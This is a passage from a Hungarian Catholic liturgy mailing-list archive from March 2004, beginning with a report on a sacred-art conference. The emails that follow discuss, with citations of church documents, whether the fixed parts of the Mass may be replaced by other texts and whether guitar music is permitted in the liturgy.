hitbéli tartalmakhoz kell közelebb segíteni az embereket, közöttük a művészeket. Az előadó szerint ez a megváltozott kapcsolat vezethet el a szakrális művészet megújulásához is. Füzes Ádám (MALEZI) előadásában II. János Pál pápának a művészekhez 1999 húsvétján írott levelét ismertette. A levélben a szentatya egyértelmű igent mond arra a dilemmára, hogy szüksége van-e az egyháznak a mai korban a művészekre. Hozzáteszi: a művészetnek is szüksége van az egyházra, a hitre, a transzcendciára. (A levél teljes szövege megtalálható a www.katolikus.hu honlapon.) Káposztássy Béla egy figyelemre méltó század eleji kezdeményezést mutatott be előadásában. 1910-ben rendezték azt az egyházművészeti konferenciát Budapesten, amely elméleti előadásaival, és a gyakorlati műhelymunka megismertetésével sok szempontból még ma is úttörő kezdeményezésnek számít, különösen, ha figyelembe vesszük azt a tényt is, hogy a konferenciát 1911-ben két egyházművészeti tanfolyam is követte. Hogyan jut el a műalkotás a hívekig? - ezt a folyamatot mutatta be előadásában Kuklay Antal. A transzcendens vonzásában, A Manréza és a művészetek - címmel tartott előadást Sajgó Szabolcs jezsuita szerzetes, a dobogókői Manréza Spirituális és Kulturális Központ igazgatója. - Az ember transzcendens dimenzióját a művészeteken keresztül szolgálni, közelebb hozni - ezt a feladatot két éve vállalta fel a Manréza - mutatott rá az intézmény igazgatója. Sajgó Szabolcs beszámolt eddigi tevékenységükről. Idáig 12 kiállítást rendeztek. Három alkalommal szerveztek alkotótáborokat gyermekeknek és fiataloknak, illetve felnőtteknek, festés és mozaikkészítés témakörben. Továbbá ötödik alkalommal tartották meg a Manréza Művészeti Napokat. A Manréza Kulturális Központ Internetes adatbázis létrehozásán fáradozik. Még nincs teljesen kész a Kortárs Keresztény Művészet portál, de már feltöltés alatt, tesztállapotban van - mondta Sajgó Szabolcs. Céljuk: Legyen egy művészeti adatbázis, mely összefoglalja a magyar nyelven megtalálható művészeti anyagokat a kereszténység szemszögéből az interneten, valamint legyenek nyitottak rá, hogy a kortársak számára szélesebb bemutatkozási lehetőséget teremtsenek. Rendszeres kritikus szakmai figyelmet kívánnak biztosítani a keresztény szellemben alkotóknak. Továbbá összegyűjtik egy helyre a kereszténységünkkel és a művészetekkel kapcsolatos híreket "hírszemle" keretében. Az első pályázati felhívásukra 42 művész (irodalmár, képzőművész, iparművész, zenész stb.) jelentkezett. Az oldal minőségéért egy bírálóbizottság felel. Hosszú út elején tart a Manréza a művészetekkel kapcsolatos hivatásának pontosabb megismerése és ápolása terén - állapította meg Sajgó Szabolcs előadása végén. Stefanovits Péter grafikusművész a Siklód és népe című film bemutatásán keresztül szólt a Hargita megyében található templom újjáépítéséről, kazettás famennyezetének kifestéséről, melyet Elekes Károly festőművésszel közösen alkottak, valamint beszámolt a Gyilkos-tó-kápolna évekkel ezelőtti előkészületi munkálatairól. Hajdó István gyergyószentmiklósi főesperes hathatós támogatásával ma már áll az 1933-ban Kós Károly által megálmodott kápolna a székelység végváraként a Gyilkos-tónál. MK From deba@dpg.hu Tue Mar 2 09:00:41 2004 From: deba@dpg.hu (=?iso-8859-2?q?Decsi=20B=E1lint=20?=) Date: Tue, 2 Mar 2004 10:00:41 +0100 Subject: [Liturgia] =?iso-8859-2?q?Re=3A=20Ordin=E1rium=20=E9s=20git=E1rzene=20?= =?iso-8859-2?q?a=20liturgikus=20jog=20t=FCkr=E9ben?= Message-ID: Kedves Rihmer Zoltán! Köszönöm kimerítő válaszát, lényegében erre voltam kíváncsi. Összefoglalva: A Kyrie, a Gloria, a Sanctus és az Agnus Dei helyett csak az ezzel megegyező szövegű énekeket lehet énekelni? Vagyis csak ezeket a szövegeket kell megzenésíteni? Egy kis ritmikai, rímbeli változtatás megengedett, vagy még az sem? Ha mégis mást éneklünk a misén, helyettesítheti-e az állandó részeket a misét celebráló pap magában elmondott imádsága? Mi a helyzet a Hozsannában szereplő énekekkel, ahol oda van írva egy-egy versszakhoz, hogy Dicsőségre, Allelujára, Hiszekegyre, stb... Az is "szabálytalan"? Megköszönöm Kovács Róbert gondolatait is, és ezzel kapcsolatos a következő kérdésem is. Ha a gitár profán hangszer, akkor mi a helyzet a Bibliában szereplő utalásokkal: pengő húrok, harsonák, dobok esetében? A Biblia a nagyobb úr, vagy a X. Pius pápai rendelkezése? Ez is hit és erkölcs dolga? Mert a Pápának csak ez ügyben van teljhatalma tudomásom szerint. Kicsit az az érzésem, hogy az Egyház ül a magas lovon, és ő tanít minket buta hívőket. Sajnos ezt néhány pap is érezteti velünk, tisztelet a kivételnek. Ez a középkorban bevált, de ma már nem ilyen egyszerű. A hívek nagy része néha műveltebb, okosabb némely Atyánál. Igaz, hogy ez nem változtat azon, hogy Jézus az Egyházra, a papságra építi hatalmát, és ezt a hívőknek is el kell fogadniuk. De az Egyház mi vagyunk, nem a papság. Ezt pedig az Egyháznak is tudomásul kell venni. Mi a jobb? Egy üres templomban bemutatott "szabályos" szentmise hívek nélkül, esetleg a Mari nénivel, vagy egy Nagymaroson a szabad ég alatt 3000 éneklő emberből és 80 pappal celebrált gitáros, basszusgitáros, dobos, stb.. szentmise? Lehet, hogy hitbeli kérdésekben nem a nép az úr, és így van jól. No de akkor kérünk oktatást, hivatalos kiadványokat a gitáros fiatalok számára is. Nagy igény lenne rá, rengeteg összetűzéstől, problémától megmenekülhetnénk. Elnézést, hogy kifakadtam, talán nem ide kell címeznem a panaszokat, de talán valami elindulhat így ez ügyben. Sajnos én villamosmérnökként nem értek az egyházi zenéhez. De szeretném művelni a gitáros műfajt, és szeretném legálisan tenni ezt, mert hiszek a műfaj erejében. Az, hogy mi a profán hangszer, és mi nem, megítélésem szerint nem lehet előírni. A zongora is lehet művészi játék kelléke, és lehet bárok esti szórakoztató eszköze. A gitár is lehet rockkoncertek eszköze, és lehet művészi előadás kelléke. De már rockkoncerten orgonát (szintetizátor formában) is hallottunk, az nem lehet profán hangszer? Szerintem az ilyen konkrét rendelkezések viszonylag rövid időn belül elavulnak. Mi hívők várjuk az új egyházi énekeket. Lehetnek akár orgonások, gitárosok is, de amíg ezek nem születnek meg hivatalosan, addig alulról építkezve mindig is a "laikusok" dalai fognak megjelenni. Várom a kedves válaszokat, és előre is köszönöm: Decsi Bálint Rihmer Zoltán 2004.03.01. 02:36:22 +1h-kor írta: > Kedves listatagok! > > Decsi Bálintnak az ordinárium helyettesíthetőségére > vonakozó kérdése véleményem szerint nem annyira szubjektív, > mint inkább objektív választ igényel. Igaz ugyan, hogy az > elején így kezdi: "A szentmise állandó részeit lehet-e más > szövegű dalokkal helyettesíteni?" A végén azonban ez > olvasható: "Mi az igazság, mi az Egyház hivatalos > álláspontja? És mi az álláspont a gitáros énekekkel > kapcsolatban?" Márpedig e tekintetben a széles körű > gyakorlat és az abból elvont magánvélemények igencsak távol > esnek az Egyház hivatalos álláspontjától. S mivel úgy tűnik, > hogy ez utóbbi még a liturgiával hivatásszerűen foglalkozók > előtt is csak kevéssé ismert, legyen szabad egy kissé > részletesebben ismertetnem. > > 1. Az ordinárium helyettesíthetősége > > Az ordinárium szövegeit a misekönyvben a szentmise rendje > (Ordo Missae) tartalmazza. Az ezeket kísérő rubrikák nem > szólnak arról, hogy mely szöveg helyett lehet más, a > misekönyvben nem szereplő szöveget mondani vagy énekelni > (egyedül a bűnbánati rítusba integrált Kyrie esetén van > lehetőség más szöveg alkalmazására, ám ekkor sem maga a > "Kyrie eleison", hanem a hozzá kapcsolódó tropus-szerű > megszólítások helyett, vö. 6. p.: "Postea sacerdos, vel > diaconus vel alius minister, sequentes, v e l a l i a s, > invocationes cum Kýrie eléison profert"). > Azt, hogy a misekönyvben található bármely rítusszöveg > helyett mikor és mit lehet mondani, egyrészt magának a > misekönyvnek az Általános rendelkezései (Institutio > generalis Missalis Romani = IGMR), másrészt a római rítus > inkulturációjáról szóló 1994-es "Varietates legitimae" > instrukció (= VL) szabályai határozzák meg. A Római > misekönyv 2000-ben jóváhagyott és 2002-ben megjelent > harmadik mintakiadásában (ez a latin "editio typica" magyar > szakfordítása, mivel az eredeti arra utal, hogy a többi > latin és nemzeti nyelvű kiadásnak ehhez mint mintához k e l > l igazodnia, a "tipikus" ezzel szemben anyanyelvünkön kissé > mást jelent) az utóbbi dokumentumot szövegszerűen is > bedolgozták az Általános rendelkezésekbe. Az énekelhető > részek körében ugyanerről a kérdésről az 1967-ből származó > "Musicam sacram" instrukció (= MS) tartalmaz még előírásokat. > A liturgikus jog e forrásai szerint az előírt > miseszövegek helyett a következő esetben lehet más > szövegeket énekelni: > a) cantus ad introitum / bevonulási ének (MS 32. p.; VL > 54. p.; IGMR [1975] 26. p. = [2000] 48. p.); > b) cantus ad offertorium / felajánlási ének (MS 32. p.; > VL 54. p.; IGMR [1975] 50. p. = [2000] 74. p.); > c) cantus ad communionem / áldozási ének (MS 32. p.; VL > 54. p.; IGMR [1975] 56. p. i) = [2000] 87. p.). > Amint e taxatív (vagyis kimerítő, teljességre törekvő) > felsorolásból látható, a helyettesíthető szövegű miserészek > mind a propriumba tartozó énekek. A magyar püspökök e részek > népénekkel való felváltásának lehetősőgével már 1966-ban > élni kívántak, ezért arra a Szentszéktől külön engedélyt > kértek és kaptak, az új liturgikus könyvek megjelenése óta > pedig fenntartották korábbi gyakorlatukat. > Az ordinárium helyettesíthetőségéről az IGMR 1975 > kifejezetten nem szól, az IGMR 2000 azonban - nyilván az > időközben tapasztalt széles körű viszaélések hatására - a > Gloriáról szóló 53. pontban új mondatot iktat be: "Huius > hymni textus cum alio commutari nequit." Vagyis 2000/2002 > óta a Gloria helyett sehol a világon nem lehet más szöveget > mondani, még püspöki, sőt püspökkari jóváhagyással sem, mert > a misekönyv rubrikái mint az Apostoli Szentszék > tekintélyével kihirdetett egyetemes jogszabályok a Katolikus > Egyház jogforrási hierarchiájában magasabb szinten állnak a > püspökök és azok testületei által alkotott törvényeknél.. Az > 1983 óta hatályos új kánonjogi törvénykönyv, a Codex iuris > canonici pedig a 135. kánon 2. §-ában világosan kimondja: "a > legislatore inferiore lex iuri superiori valide ferri nequit > — az alacsonyabb szintű törvényhozó nem hozhat érvényesen > olyan törvényt, amely ellentétes a magasabb szintű joggal." > Ha tehát mégis hozna, az érvénytelen. (A magyar püspököknek > az ordinárium helyettesítését előíró rendelkezéséről > egyébként nem tudok.) > A Glorián kívül értelemszerűen ugyanez vonatkozik az > ordinárium másik két énekére: a Sanctusra és az Agnus Deire > is, jóllehet itt a jogalkotó nem hangsúlyozta kifejezetten a > helyettesítés kizártságát, mivel úgy vélte, hogy arra ennek > az egyéb esetben megemlített lehetőségnek az elmaradása > kellőképpen utal. Ami végül a Credo más szöveggel való > helyettesítését illeti, ez az IGMR (1975) 43. p. = (2000) > 67. p. alapján ugyancsak kizártnak mondható. > Összefoglalva: az Egyház hivatalos álláspontja szerint a > szentmise állandó részeinek szövege más szövegekkel sem > mondott, sem énekelt változatban nem helyettesíthető. > Kovács Róbert ezzel ellentétes álláspontja mint > magánvélemény természetesen tiszteletet érdemel, a vele való > vitatkozáshoz és a hivatalos tanítás megindoklásához azonban > a fenti áttekintésnél lényegesen hosszabb és bonyolultabb > okfejtésre volna szükség. Az érvelés lényege röviden annyi, > hogy az Egyház nem azért ragaszkodik ma is a római > miseordinárium általánosan kötelező szövegeihez, mert azok > évszázadok óta változatlanok (vö. Kovács Róbert: "Nem > leszünk vallásosabbak, ha mindig ugyanazt énekeljük"), hanem > mert olyan hitbeli és rituális tartalmakat fejeznek ki, > amelyeken sem az idők, sem a helyek különbözősége ellenére > nem kíván változtatni. > Hogy miért nem, azt már végképp nem merném ennyire > leegyszerűsítve megfogalmazni. Helyette inkább az Apostoli > Szentszék saját indoklását idézem (IGMR [2000] 397. p.; vö. > VL 26-27. p.): az adaptációk során "azt az alapelvet is meg > kell tartani, amely szerint minden egyes részegyháznak meg > kell egyeznie az egyetemes Egyházzal nemcsak a hitbeli > tanításra és a szentségi jelekre nézve, hanem az apostoli és > folytonos hagyomány alapján egyetemesen elfogadott gyakorlat > tekintetében is, amelyet nemcsak a tévedések elhárítása > végett kell megtartani, hanem a hit sértetlen továbbadása > érdekében is, mivel az Egyház imádságának szabályai > megegyeznek hitének szabályaival. A római rítus a Katolikus > Egyház liturgikus kincsestárának jelentős és értékes részét > alkotja, amelynek gazdagsága az egész Egyház javát > szolgálja, s így súlyos kárt okozna neki ennek elvesztése." > A miseordináriumot tehát az Egyház e rituális örökség > szerves részének tekinti, azért nem engedi, hogy bárki is > hozzányúljon. > > > 2. A gitáros ének > > A hangszeres zenéről jelenleg elsősorban a II. Vatikáni > Zsinat "Sacrosanctum Concilium" rendelkezése és az ezt > részletesen kifejtő egyházzenei instrukció szabályai (MS > 62-67. p.) irányadók, továbbra is érvényesek azonban X. > Szent Pius pápának az egyházi zenéről általában > megfogalmazott irányelvei, amelyekre a későbbi dokumentumok > is rendre hivatkoznak. A pápa a "Tra le sollecitudini" motu > proprio függelékeként közlölt instrukcióban (2. p.) a > következőket írja: "Az egyházi zenének [...] a lehető > legtökéletesebb fokban kell fölruházva lennie azon > tulajdonságokkal, amelyek a liturgia sajátjai: név szerint > ilyen a szentség és a formák kifogástalansága, amiből > harmadik tulajdonságként következik az egyházi zene > egyetemessége." E meghatározást elemezte részletesen és > alkalmazta a mai gyakorlatra előadásában Füzes Ádám a motu > proprio kibocsátásának 100. évfordulója alkalmából 2003 > december 8-a és 10-e között rendezett konferencián. > Kérdés azonban, hogy a gitár mint hangszer használata > megengedhető-e egyáltalán az egyházi szertartások során (ami > persze szűkebb a templomi rendezvények körénél). X. Pius > ugyanis a következőket írja elő (19. p.): "A templomban > tilos a zongora használata, valamint a többi zajos vagy hiú > hangszeré, mint pl. dobok, réztányérok, csengők stb." Az > 1967-es instrukció konkrét hangszer említése nélkül ugyanezt > a szabályt fogalmazza meg (63. p.): "A hangszerhasználat > megengedése és gyakorlata során figyelembe kell venni az > egyes népek szellemiségét és hagyományait. Azokat a > hangszereket azonban, amelyek az általános megítélés és > gyakorlat szerint csak a profán zenéhez illenek, teljesen > tartsák távol minden liturgikus cselekménytől, továbbá a > szent és jámbor gyakorlatokól." A liturgia művelői között > vannak, akik szerint a gitár sokkal inkább tartozik az > eredendően profán hangszerek csoportjába, mint pl. a > zongora, s ezért lényegileg alkalmatlan arra, hogy > liturgikus szertartások során előkerüljön. Mások erről > másképpen vélekednek. A döntő szót e tekintetben szintén az > egyházi hatóságnak kell(ene) kimondania, vagyis a püspöknek, > ill. a püspöki karnak, végső soron pedig az Apostoli > Szentszéknek, hiszen ők azok, akiktől "a szent liturgia > irányítása egyedül függ" (CIC 838. k., 1. §). > > Nos, ez az Anyaszentegyház liturgikus jogrendjének > válasza Decsi Bálint kérdéseire. Az elméleti megfontolás > szintjén lehet, hogy egyeseknek tetszik, másoknak pedig nem; > a gyakorlatban ugyancsak lehet, hogy egyesek megtartják, > mások pedig nem; kiindulási pontként azonban minden > katolikus hívő számára irányadó. A többi már a > lelkiismeretünkre van bízva: egyénileg és közösségileg > egyaránt (a püspökökét :-))) sem kivéve). > > > Rihmer Zoltán > > > > > > _______________________________________________ > Liturgia levelező lista > Információ, fel- és leiratkozás: www.liturgia.hu/lista.htm From urbanp@ektf.hu Tue Mar 2 10:13:25 2004 From: urbanp@ektf.hu (=?iso-8859-2?B?VXJi4W4gUOl0ZXI=?=) Date: Tue, 2 Mar 2004 11:13:25 +0100 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_Re:_Ordin=E1rium_=E9s_git=E1rzene_a?= =?iso-8859-2?Q?_liturgikus_jog_t=FCkr=E9ben?= References: Message-ID: <004801c4003f$1e1d68c0$7723e1c1@urbnpt> Kedves Bálint! Valószínűleg nagyon hosszan lehetne (és kellene) a mise énekeinek kialakulásáról beszélni, hogy világossá váljon a mai helyzet. Hozzáférhetők jegyzetek, valamint zenetörténeti könyvek a témában. De (nem magas lóról!) nyilván te is érzékeled, hogy az énekeink egy része (a mai használatban) időkitöltő, másik része a mise közvetlen része: Uram, irgalmazz!, Szent vagy!, stb. A misén felcsendülő ének eredetileg a mise szövegeinek megszólaltatásával volt (nem is volt más, ill. minden szöveg énekelt volt); ennek műfajai megegyeztek a megszólaltatandó szöveg műfajával (azonos volt vele). Ma sokszor betéteket (un. más, alkalmas éneket) éneklünk a liturgikus (a liturgia szövegeit megszólaltató) ének helyett az időszakok szerint változó un. proprium tételek helyén, és sajnos (botrány, de) előfordul az is, hogy az ordinárium (pl. glória) "pótlására" is. Érdekes, hogy ez a módszer nem nagyon jut senki eszébe, amikor a zsolozsmát veszi a kezébe; mintha ott fontosabbnak tűnnék a szöveg hivatalos volta... A "Hozsanna" énekeskönyv általad is idézett helyei (un. miseénekek) előírásszerűen nem pótolhatják a liturgia szövegeit, de szórakoztatásra, időkitöltésre (némelyik egész) remek. Talán nem célszerű két misének az értékét a résztvevők száma szerint mérni, mert itt megint azt kellene értékként beemlenünk, ki mivel tud nagyobb tömeget szervezni a miséjére (nyilván ő a fej). A misét nem mi csináljuk, annak értékét nem mi adjuk, ahhoz hozzátenni semmit nem tudunk! (Poénnak azért nem rossz...) Szeretettel köszönt: UrbánPéter ----- Original Message ----- From: Decsi Bálint To: Liturgikus levelezőlista Sent: Tuesday, March 02, 2004 10:00 AM Subject: [Liturgia] Re: Ordinárium és gitárzene a liturgikus jog tükrében From keri_zoltan@hotmail.com Tue Mar 2 12:31:01 2004 From: keri_zoltan@hotmail.com (Zoltan Keri) Date: Tue, 02 Mar 2004 13:31:01 +0100 Subject: [Liturgia] Külsőség Message-ID:
Tisztelt Olvasók!
Úgy tűnik nekem, hogy pontatlan megfogalmazásom félreérthető volt.
Urbán Péter jogos megjegyzésére reagálva alaposabban átgondolom álláspontomat. E szerint: a "liturgia küsődleges csillogását" (ahogy pontatlanul fogalmaztam) valóban érdemes nagyböjtben csökkenteni, de én legalábbis csak azt sorolom a liturgia külsődleges csillogásának körébe, ami nem tartozik hozzá szorosan a liturgia végzéséhez. (Ezért "külsődleges", plusz díszítő elem.) Nyilván nem tartozik tehát ide a színes (liturgikus) ruha, az oltárterítők vagy a gyertyák. Ezek fontosak (bár nem szükségképpeniek) éppúgy, mint a megfelelő liturgikus tér, benne és azzal összeforrva (képző)művészeti alkotások. A virág és az orgonaszó azonban éppen olyasmi, ami nélkül szentmisét végezni - gond nélkül - lehet. Ez utóbbiakkal tehát a takarékoskodás nem azt jelenti, hogy a liturgia minden "külsőségét" elutasítom, hanem csak azt, ami valóban "külsőség" (U. P.), vagyis "külsődleges csillogás" (K. Z.).
Álláspontomból (ha ez a fajta, az imént nagy vonalakban vázolt megkülönböztetés így tartható, ami persze nem biztos) tehát nem következik, hogy "templomaink legyenek tiszták, fehérek üresek" (U. P.), noha a tisztasággal tkp. kiegyeznék... :).
Így értettem tehát, hogy a "lényegi cselekményekre és szimbolumokra" kell a figyelmet ráirányítani. (Ha tetszik: igenis vannak lényegi külsőségek.)
Üdvözlettel: Kéri Zoltán

Tired of spam? Get advanced junk mail protection with MSN 8. From keri_zoltan@hotmail.com Tue Mar 2 12:49:28 2004 From: keri_zoltan@hotmail.com (Zoltan Keri) Date: Tue, 02 Mar 2004 13:49:28 +0100 Subject: [Liturgia] Ellentmondas Message-ID:
Üdvözletem!
Kovács Róbert azt írta egy levelében: az egyház önmagával van ellentmondásban, amikor megtiltja mindenféle ütős és húros hangszer használatát.
A mások által idézett szigorú szabályok kifejezetten a szentmise vagy más liturgikus cselekmény végzésére, ill. a templomi használatra vonatkoznak.
Az én kérdésem ez: ki mondta, hogy Istent csak szentmise keretében lehet dicsőíteni? És: ki tiltotta meg az említett hangszerek használatát szentmisén (liturgián, templomon stb.) kívül?
Ha a tilalom nem általános szabály, hanem lex specialis, akkor hol az önellentmondás?
Tisztelettel: Kéri Zoltán

MSN 8 with e-mail virus protection service: 2 months FREE* From robert.kovacs@chello.at Tue Mar 2 15:13:31 2004 From: robert.kovacs@chello.at (=?Windows-1252?Q?Robert_Kov=E1cs?=) Date: Tue, 2 Mar 2004 16:13:31 +0100 Subject: [Liturgia] =?Windows-1252?Q?prof=E1n_hangszerek?= Message-ID: <001601c40068$ecb37840$cc63bad4@chello.at> Tisztelt Olvasók, Kedves Kéri Zoltán, számomra nem egészen érthetö az "ellentmondás".ra vonatkozó írása. A konkrét kérdéseit nem igazán tudom megválaszolni, mivel az összefüggés hiányzik, illetve a kérdések oka. Próbálok mégis valahogyan választ adni (ha egyáltalán írányomban tette fel a kérdéseket: 1.) Senki nem mondta, hogy Istent csak szentmisén lehet dicsöíteni (ellenkezöleg!) 2.) Senki nem tiltotta meg az egyéb hangszerek használatát szentmisén és egyéb liturgikus cselekményen kívül. A Rihmer Zoltán által idézett 1967-es instrukció ("A hangszerhasználat megengedése és gyakorlata során figyelembe kell venni az egyes népek szellemiségét és hagyományait. Azokat a hangszereket azonban, amelyek az általános megítélés és gyakorlat szerint csak a profán zenéhez illenek, teljesen tartsák távol minden liturgikus cselekménytol, továbbá a szent és jámbor gyakorlatokól.") mondja állítólag ki, hogy általános szabályról van szó. Söt, ezek szerint a szent és jámbor gyakorlatoktól is, ami szerintem nem szentmisére utal. Nem a szentmisén kívüli zenélésröl volt szó, hanem a szentmisén belüliröl. Mégegyszer: nem egészen értettem a feltett kérdéseket. Üdvözlettel, Kovács Rňbert From =?iso-8859-2?Q?nagyn=E9_kov=E1cs_em=F5ke?= Tue Mar 2 16:08:28 2004 From: =?iso-8859-2?Q?nagyn=E9_kov=E1cs_em=F5ke?= (=?iso-8859-2?Q?nagyn=E9_kov=E1cs_em=F5ke?=) Date: Tue, 2 Mar 2004 17:08:28 +0100 (CET) Subject: [Liturgia] (no subject) Message-ID: <20040302160828.DC79AAB1FA@jam.adverticum.net> Köszönöm az ima ajánlatát de nem hiszem hogy nagyon tévelyegnék , mert sok nagyon katolikus változott meg az utóbbi időben nagyné From keri_zoltan@hotmail.com Wed Mar 3 11:15:36 2004 From: keri_zoltan@hotmail.com (Zoltan Keri) Date: Wed, 03 Mar 2004 12:15:36 +0100 Subject: [Liturgia] profán hangszerek Message-ID:

Tisztelettel üdvözlöm! Igyekszem érthetőbben megfogalmazni, ami eszmbe jutott.

Ön ezt írta levelében:

"Az egyház önmagával van ellentmondásban! Hirdeti, hogy "dicsöitsétek öt dobokkal, harsonákkal" meg mindenféle húros és ütös hangszerekkel, máskor meg azt mondja, hogy ne játsszatok ezeken a hangszereken!"

Szerintem nincs ellentmondás, mert az egyház a jelzett hangszerek használatát (az én olvasatom szerint) nem minden istendicsőítésre tiltotta meg, hanem kimondottan a hivatalos, nyilvános templomi liturgia, szentmise során. Semmiképpen sem mondta az egyház, hogy "ne játsszatok ezeken a hangszereken" - egyáltalán! Sőt, szerintem még istendicsőítésre is alkalmasak lehetnek, ami viszont nem kizárólag a hivatalos liturgiával egyenlő. (Ld. Omnia ad maiorem Dei gloriam.)

Tehát a liturgikus cselekményekre vonatkozó korlát nem áll szemben a fölszólítással: "dicsöitsétek öt dobokkal, harsonákkal meg mindenféle húros és ütös hangszerekkel".

Figyelembe kell venni egy másik szempontot is: az Ószövetség idején talán valóban a zsoltárban említett hangszerek szerepeltek a szertartásokon és szakrális cselekményeken: akkor ezek voltak a liturgikus hangszerek. Azóta több ezer év telt el. Az egyházban más gyakorlata alakult ki a hangszerhasználatnak. Az ősi szakrális hangszereket ma (elsősorban) profán célra használjuk, és profánnak tekintjük őket. Egy korábban profán hangszer pedig az egyház gyakorlatában szakralizálódott. (Éppen helyet cseréltek a hangszerek jellegüket etkintve.) Ezek után az Ószövetségben helytálló zsoltárszövegnek a mai viszonyokra való szó szerinti alkalmazása nekem anakronisztikusnak tűnik. Szerintem nem a fölsorolt hangszerek szó szerinti betartása a fontos (ez a történelmi kortól függ), hanem a dicsőítésre való fölszólítás betartása - ami lényegi üzenetként mindig aktuális.

Nálam okosabb, tájékozottabb listatag hozzászólását is kérem szépen: miért épp az orgona az egyház sajátos hangszere elsősorban?

További együttgondolkodásban bízva szeretettel: Kéri Zoltán.

>From: Robert Kovács

>To:
>Subject: [Liturgia] profán hangszerek
>Date: Tue, 2 Mar 2004 16:13:31 +0100
>
>Tisztelt Olvasók,
>Kedves Kéri Zoltán,
>
>számomra nem egészen érthetö az "ellentmondás".ra vonatkozó írása. A konkrét
>kérdéseit nem igazán tudom megválaszolni, mivel az összefüggés hiányzik,
>illetve a kérdések oka.

Add photos to your e-mail with MSN 8. Get 2 months FREE*. From rihmer@freemail.hu Wed Mar 3 23:07:36 2004 From: rihmer@freemail.hu (=?ISO-8859-2?Q?Rihmer_Zolt=E1n?=) Date: Thu, 4 Mar 2004 00:07:36 +0100 (CET) Subject: [Liturgia] =?ISO-8859-2?Q?Az_=E9nekelt_ordin=E1rium_probl=E9m=E1i?= Message-ID: Kedves Decsi Bálint! A szentmise állandó részeinek eredeti, hivatalos szövege a latin, ezeket értelemszerűen csak azzal a szöveggel lehet megzenésíteni, ahogy a misekönyvben olvashatók (az egyes tételrészletek zenei megismétlésétől, ill. időnkénti - bár szerintem sajnálatos - elhagyásától most eltekintve). A nemzeti nyelvű fordítások helyzete sokkal összetettebb. Ezek alapelveit és elkészítésük részletes szabályait az Istentiszteleti és Szentségi Fegyelmi Kongregácó 2001-ben kiadott "Liturgiam authenticam" kezdetű instrukciója (= LA) tartalmazza, amely ugyanezen dikasztérium már említett inkulturációs instrukciója ("Variatetes legitimae" [= VL], 1994) kivételével az összes e tárgyban született korábbi jogszabályt hatályon kívül helyezi (mindkettő magyar fordításban is olvasható a Szent István Társulat "Római dokumentumok" c. sorozatában). Ezt azért fontos külön kiemelni, mert az eddigi liturgikus fordítások egy olyan instrukció szellemében készültek ("Comme le prévoit", 1969), amely nemcsak teljes kötetlenséget biztosított a latin mintakiadások népnyelvre fordításában, hanem kifejezetten ösztönözte is a fordítókat azok kreatív átdolgozására. Ezt a rengeteg feszültséghez vezető gyakorlatot a LA kifejezetten elutasítja és helyébe az eredeti szövegek pontos, tartalmilag és formailag hű fordítását állítja követendő eszményként. Mivel pedig ennek a jelenleg használatban lévő fordítások gyakran egyáltalán nem felelnek meg, a Szentszék e dokumentumban elrendelte a nemzeti nyelvű szövegeknek a legújabb (a protestáns liturgiákat is figyelembe véve azonban egyszersmind legrégibb) elvek szerinti teljes átdolgozását. A probléma tehát kettős: egyrészt felvethető, hogy megfelelnek-e a LA elveinek a jelenlegi magyar ordinárium szövegei; másrészt kérdéses, hogy mondhatók vagy énekelhetők-e a jóváhagyott magyar szövegek helyett azoknak tartalmilag megfelelő, de más szavakból álló szövegek. Az első kérdésre a válasz alapvetően igen: a misekönyv jelenlegi magyar fordítása sokkal pontosabb és emelkedettebb, mint pl. az angol nyelvterületet évtizedek óta uraló egységes fordítás (ugyanakkor elkerülhetetlennek látszik némi javítás is, pl. az "Agnus Dei, qui..." szövegében ugyanúgy vonatkozó mellékmondatot kell használni, mint ahogy az a "Pater noster, qui..." esetében is történik, vö. LA, 57. a) p.). A másik kérdésre a válasz alapvetően nem. Az Istentiszteleti Szent Kongregáció az új misekönyv kiadásával szinte egyidőben, 1970-ben közölte a püspöki konferenciákkal a liturgikus könyvek egységes fordításáról szóló szabályokat, amelyeket a LA 87—91. pontja megismétel és tovább részletez. Innen kitűnik, hogy a hivatalos liturgikus szövegeket csak akkor lehet egyazon nyelven több fordításban közrebocsátani, ha ezt az adott nyelvet beszélők politikai széttagoltsága indokolja, vagyis ha egyazon nyelv által több püspöki konferencia is érintve van (pl. angol, német stb.). Egyetlen püspöki konferencia területén ugyanazon liturgikus szövegek egymással egyenrangú, de eltérő szövegű fordítására jogilag nincs lehetőség. Ebből pedig következik, hogy azokon a katolikus szentmiséken, amelyeken a szertartás a Magyar Katolikus Püspöki Konferencia által utoljára jóváhagyott misekönyv szerint folyik, az ordinárium szövege csak abban a formában mondható vagy énekelhető, amelyet ez a misekönyv tartalmaz. Ezek után sajnos nem tudok mást mondani, mint hogy a gitáros és egyéb nem liturgikus célra jóváhagyott kiadványok nem "liturgikus könyvek" (ezek fogalmához l. LA, 109-111. p.), s így belőlük szentmise egyáltalán nem végezhető. Rendkívül sajnálatos, hogy mind azok, akik ezeket összeállították, mind pedig azok, akik ezeket ilyen formában jóváhagyták, nem vettek tudomást az Anyaszentegyház hatályos jogrendjéről, továbbá alaposan félrevezették e kiadványok felhasználóit azok pontos jellegét illetően. A misekönyvben előírt szövegek szabatos lefordításán túl természetesen lehetőség van azok ún. adaptálására, vagyis a helyi viszonyokhoz való hozzáigazítására, sőt szükség esetén teljesen újak alkotására is. Ezekről a LA 106-108. pontja rendelkezik, a részletes előírásokat pedig a VL tartalmazza. Egy dolgot azonban jó előre le kell szögezni: a szövegszerű adaptációk elkészítése a püspöki konferenciák hatásköre, nem az egyes lelkipásztoroké, még kevésbé a világi híveké - ők legföljebb kezdeményezhetik azt. Az elkészített szövegeket azután a szokott módon a Szentszékhez kell továbbítani felülvizsgálat céljából (LA, 106. p.). Ugyancsak megjegyzendő, hogy "a nemzeti nyelven megírt új szövegek, akárcsak az egyéb, törvényesen bevezetett változatok nem tartalmazhatnak semmi olyat, ami nem egyeztethető össze a mintakiadásokban található szövegek funkciójával, jelentésével, szerkezetével, stílusával, teológiai tartalmával vagy hagyományos szókincsével, ill. egyéb fontos tulajdonságával". Mindezek alapján számomra úgy tűnik, hogy a "Bárányom, Bárányom, Istennek Báránya..." típusú individuál-szenzualista szövegekre az Anyaszentegyház nemigen fogja ráütni a pecsétjét. A 108. pont kifejezetten a megzenésített szövegekről szól, ezért teljes terjedelmében idézem: "Különleges jelentőséggel és hatással bírnak az énekek és a liturgikus himnuszok. A szentmise ünneplésére elsősorban vasárnap, az "Úr napján" összegyűlt hívő nép énekei, miközben a közös hit és a szeretetben való közösség érzését erősítik, nem kevésbé 